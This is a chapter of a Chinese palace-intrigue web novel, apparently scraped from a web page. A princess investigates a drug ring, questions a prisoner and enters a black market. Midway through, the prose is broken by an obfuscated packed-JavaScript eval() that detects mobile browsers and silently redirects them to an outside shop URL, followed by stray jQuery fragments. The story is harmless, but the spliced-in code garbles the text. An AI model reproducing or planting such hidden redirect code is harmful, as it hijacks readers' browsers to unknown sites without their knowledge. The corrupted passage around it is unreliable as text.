第三次踏进天牢时,萧凤栖已经懒得同他绕圈子了。
“殿下,小人已经把知道的全说了,其他的小人真的一概不知啊。”
又是这句——
李栎仿佛已经笃定她查不出什么,破罐子破摔一般往后靠去。
鞭子破空的声音传来,狱卒见他那副懒散的模样立刻大声训斥:“想吃鞭子了吗?怎么跟殿下说话的!”
听到鞭子声,李栎这才不情不愿勉强站直身体。
“你其他不知,总不能不知雄鹰面具吧。”萧凤栖脸上带着笑,看着李栎的表情变化。
“什.....什么雄鹰面具?”李栎大声问道,有种虚张声势的感觉。
“哦,想起了,在你的口供中是蝎子面具,那就是这里边出了问题。”
“我听不懂您在说些什么。”李栎紧靠背后的木桩。
“行,那本宫直白些,你是黎川人在大虞安插的中间人,专门混迹于勾栏赌场一带,给你的上级传递情报。”
萧凤栖神色冷峻,看着面前面色铁青的李栎一字一句说道。
“不过目前看来你应当已经成弃子了。”萧凤栖话锋一转,语气有些嘲讽。
“不,他们不会放弃我的。”
这句话像是戳到了李栎的痛处,他迅速大声反驳,神色狰狞。
说完后又立刻反应过来,面如死灰。
良久,他才开口:“你杀了我吧,哪怕是死你也无法从我口中得到任何一条有用的信息。”
见他一副壮士赴死的模样,萧凤栖随手将手上的茶盏放下
“别动不动就死不死的,多晦气,放心暂时不会动你的,你就在牢狱中等着同你那些‘好友’相聚吧。”
从天牢离开,快到大理寺门口时,她碰到了身着官服,脚下带风的大理寺卿——严正洵。
“殿下。”见到萧凤栖他脸上也无太多表情,只是停下脚步行礼。
“严大人不必多礼,兴国寺一案可有结果了?”萧凤栖随口道。
“暂未,死者的死因还在调查中,但通过这些天的连夜调查,兴国寺里的死尸怕是不止一具。”严正洵冷静说道。
“怎么说?”萧凤栖指尖轻轻点了点掌心。
“是今早刚刚发现,埋于深土之下,大理寺的官吏还有大批在兴国寺,晚些臣会整理出文书分别呈于陛下与殿下。”
“辛苦严大人了。”萧凤栖点头。
“是臣分内之事。”
严正洵离开后许久,萧凤栖还在思考他的话。
看来兴国寺那群人倒是比她想的还要蠢,没有第一时间将尸体处理,只是简单埋于深土之下。
还使她费心思寻了具死尸用来栽赃。
一直到上了马车,萧凤栖的神色都是淡淡的,连带旁侧的于遥都没忍住看了许多眼。
“你想说什么?”在不知第几次偷看后,萧凤栖主动偏头与他对视。
“依殿下的话,我今日去黑市问了,唯一一家售卖雄鹰面具的店于五日前就未再开门。”于遥搓了搓手。
“店主是男是女?”
“听旁的店主提起,是位女子,年岁不大。”于遥想了想。
萧凤栖刚刚想接话,马车外突然响起尖锐的喊叫声。
“死人了!”
萧凤栖刚想起身,被灵茶拦住:“殿下,我先下车去看看。”
得到萧凤栖点头,灵茶迅速掀开帘子往马车下走去。
“哎,今日回宫后要沐浴焚香了。”于遥摇了摇头,“青天白日出现死人这一事竟然都会被我们碰到。”
萧凤栖没说话,靠在车厢上闭目养神。
大约半盏茶时间后,灵茶才回到马车,神情严肃:“殿下,死的是一名学子,我问了掌柜的,那学子叫杨国清,长宁县人士。”
萧凤栖双眼骤然睁开。
马车内安静片刻,她没有掀帘子出去看,只是坐着,手指在膝上轻轻扣两下。
想起前几日在兴国寺后院见到的那位学子,没想到再见竟然是在这样的情形下。
“可报官了?”萧凤栖问道。
灵茶点头:“掌柜的已经报官。”
“派人关注着,这怕也是吸食过多神仙土所导致的。”萧凤栖叮嘱道。
“殿下那学子您见过?”旁的于遥瞧萧凤栖脸色不对,悄声问道。
“上回潜入兴国寺后院所遇见的就是这位学子。”
于遥嘴巴张开又合上,最后还是什么也没说。
“离开兴国寺,他们依然有相关途径可以获得神仙土。”萧凤栖揉了揉眉头。
“只怕在学子中传播范围比我们想的还要广。”于遥的脸色也变得严肃。
“回宫,我得向母皇禀报此事。”萧凤栖冷声说道。
一下马车,萧凤栖脚步未停直接向御书房走去。
“母皇不在御书房?”见御书房里空无一人,萧凤栖随手拉过一名宫女问道。
“回殿下,陛下正在宣政殿与大臣商议国事。”
“那我晚些再来。”萧凤栖没有留下等待,而是直接回了梧桐宫。
刚到还未坐下喘口气,灵茶便迎上来:“殿下,大理寺的人刚刚来过一趟呈了份文书。”
萧凤栖将那文书打开,前边文绉绉的话语她直接略过,向后看去。
“五具尸体,相同点脸色紫青,身上多处腐烂。”萧凤栖迅速将文书看完冷声道。
商扶砚刚从偏殿过来就听萧凤栖这话,微顿,还是继续往里走去。
“杨国清死了,尸体移交官府,推测是由神仙土导致的。”
于遥被一连串信息砸了个懵,“兴国寺不是被查封了?”
“是,但民间神仙土泛滥程度怕是超乎想象。”
“青云堂。”商扶砚沉声,“这里头绝不是我们上次去看如此简单。”
“今晚去探三楼。”萧凤栖起身,她已经做了决定,又或者说眼下情形已经不容许她再拖了。
“报!”
门外一名小厮装扮的人匆匆跑进,单膝跪地:“殿下,有人在黑市看到尹匀正与一名陌生男子出现。”
萧凤栖眼中闪过一丝光亮:“让人准备,即刻出发去黑市。”
“陛下那边?”灵茶忧心问道。
“无事,等我从黑市回来再向母皇汇报也不迟。”
—
黑市入口是一处泛着黑色的湖泊,旁侧仅有一艘打着红灯笼的船只。
萧凤栖他们来过不止一次,娴熟地上了船,留最后的商扶砚。
跟着的灵溪刚准备搭把手,船夫走过,脸色阴沉:“加上这位,得一块金饼。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735121|208624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“为何?一样的人数为何今日竟需金饼?”于遥双手抱胸站在船只前问道。
“若是不搭老夫的船便下去,有的是人搭。”
那船夫也是傲气的很,直言道。
“不是,你这老头......”灵珠不满道。
只是话还未说完就被灵茶拦下,萧凤栖递过去一块金饼:“还是载我们到上次的位置即可。”
那老船夫什么话也没说,直接转身拿起船桨。
船只悠悠开始转动。
越往里越是一片漆黑,只剩这一盏红灯笼发着微弱的光芒。
时不时还从洞窟上方传来似人非人的嚎叫声,灵茶都忍不住搓了搓自己手臂,但那老船夫却依然镇定自若划着船。
胆量颇大。
穿过一片漆黑后,前头终于迎来了光亮。
随着慢慢向光亮处靠近,船只也在慢慢停下。
“到了。”老船夫站在船头冷漠说了一句。
等萧凤栖等人都下船后,又自顾自重新划桨使着小船原路返回。
几人往前迈了几步,眼前是一个巨大的斜坡,只有往下的台阶,两旁甚至连防护都无。
“走下去吧,都小心些。”萧凤栖带路走在最前面。
这阶梯将近垂直,走时便要更加小心。
连平日里最会活跃开玩笑的灵珠都不敢多说一句,认真看着脚下。
走了都不知多久,他们才走到最底。
重新踏上平地,几人才彻底将悬着的心放下。
于遥嘴唇发白,踩到平地上的腿都发软,恨不得直接躺下。
灵珠更是,一手挽着灵茶一手狂拍自己的胸口:“吓死我了吓死我了!”
萧凤栖脸色倒是还好,她视线落在最后方的商扶砚身上,见他面色不算太好,走过去从腰带处取出小瓶子,递了粒药丸给他。
“吃吧,可以让你快速恢复体力,让身体冷静下来。”
商扶砚第一次过这台阶,面色发青,也没拒绝,接过药丸直接吞入口中。
“殿下,我也要!”于遥刚把心收回肚子里,就见这一场面,直接开口道。
萧凤栖也递了一枚给他。
后边的商扶砚见于遥满脸炫耀的神色,喉咙滚了滚,偏过头去。
原地休息片刻,他们就开始往黑市里边走去。
黑市黑市,说白了跟普通集市差不多,两旁摊子上摆放的全是稀奇古怪的玩意,后边再站个神神叨叨的摊主。
萧凤栖往前走时,随意往旁一瞥,就见她右侧的那个摊位上只摆了一团乱糟糟的红线。
“这可是月老的红线,只需一端缠绕在你心仪之人的右手小指上,另一端缠绕在你自己左手的小指上,你们就可生生世世美满幸福。”
或许是萧凤栖那一眼,原本安静坐在摊位后头的老板娘突然起身,把自己摊位上那不起眼的红线说得那叫一个天花乱坠。
萧凤栖对这不感兴趣,直截了当往前走,于遥他们紧随其后,唯独商扶砚经过时脸上露出了若有所思的神情。
“是这里。”
走了好一会,他们才走到情报上的尹匀正和陌生男子最后消失的地点。
看着上头那摇摇欲坠的牌匾,萧凤栖仔细看了许久,才勉强识得名字。
这竟是一家医馆。